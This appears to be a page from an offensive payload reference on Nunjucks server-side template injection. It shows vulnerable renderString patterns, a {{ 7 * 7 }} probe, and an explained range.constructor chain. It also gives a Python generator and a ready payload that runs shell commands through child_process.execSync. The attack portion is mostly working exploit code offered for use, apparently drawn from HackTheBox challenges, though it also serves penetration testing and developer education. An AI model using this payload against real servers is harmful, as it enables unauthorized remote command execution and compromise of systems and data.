Skip to content
Nunjucks RCE

Nunjucks RCE

Nunjucks SSTI RCE via Function constructor

Builds a Nunjucks payload that creates a JavaScript function through range.constructor() and executes a command with Node.js child_process.execSync().

Vulnerable source pattern

A fixed template loaded by name keeps userInput in the context as data:

<p>{{ value }}</p>
const context = {
    value: userInput
};
const output = nunjucks.render("page.njk", context);

Nunjucks enables autoescaping by default, so HTML metacharacters in value are escaped. The safe filter disables that output escaping:

<p>{{ value | safe }}</p>

safe can produce XSS when value contains attacker-controlled HTML, but it does not parse Nunjucks syntax stored inside value. An input such as {{ 7 * 7 }} remains the literal value {{ 7 * 7 }} in both cases.

SSTI appears when attacker-controlled input becomes the source passed to renderString():

const templateSource = userInput;
const context = {};
const output = nunjucks.renderString(templateSource, context);

The same vulnerability appears when the input is concatenated into otherwise fixed source:

const templateSource = "<p>Result: " + userInput + "</p>";
const context = {};
const output = nunjucks.renderString(templateSource, context);

In both vulnerable forms, {{ 7 * 7 }} is part of templateSource and renders as 49. A fixed call such as nunjucks.renderString("{{ value }}", { value: userInput }) still treats userInput as data and is not SSTI.

Testing

An evaluated arithmetic expression renders 49, confirming that the input reaches the template engine as template source rather than plain data.

{{ 7 * 7 }}

Command execution

Nunjucks makes range available to templates as a function. JavaScript function objects have a constructor property that identifies the function used to create them. For a normal JavaScript function, that property refers to the Function constructor.

The payload therefore uses the following chain:

range                              -> Nunjucks function available inside the template
range.constructor                  -> JavaScript Function constructor
range.constructor(<SOURCE>)        -> create a new function whose body is <SOURCE>
range.constructor(<SOURCE>)()      -> call the newly created function
global.process                     -> obtain the global Node.js process object
process.getBuiltinModule(...)      -> load a built-in Node.js module from global scope
child_process.execSync(<COMMAND>)  -> execute the command and return stdout as a Buffer object
.toString()                        -> convert the Buffer bytes into rendered text

The created function uses global scope, so the local CommonJS require function is not automatically available. process.getBuiltinModule('child_process') provides the module-loading path on Node.js versions that expose that method.

import json

def nunjucks_execsync_payload(command):
    javascript = "return global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
    payload = "{{ range.constructor(" + json.dumps(javascript) + ")() }}"
    return payload

Rendered payload

{{ range.constructor("return global.process.getBuiltinModule('child_process').execSync('id').toString()")() }}

The first () calls range.constructor and supplies the function body. The final () calls the function returned by the constructor. Omitting the final call creates the function without executing its body.

Find by: ssti, nunjucks, nodejs, node, template source, template data, render string, renderString, safe filter, autoescape, xss vs ssti, template injection, range constructor, function constructor, global process, getBuiltinModule, child_process, execSync, command execution · Source: Nunjucks documentation + HTB/WayWitch + HTB/PhantomScript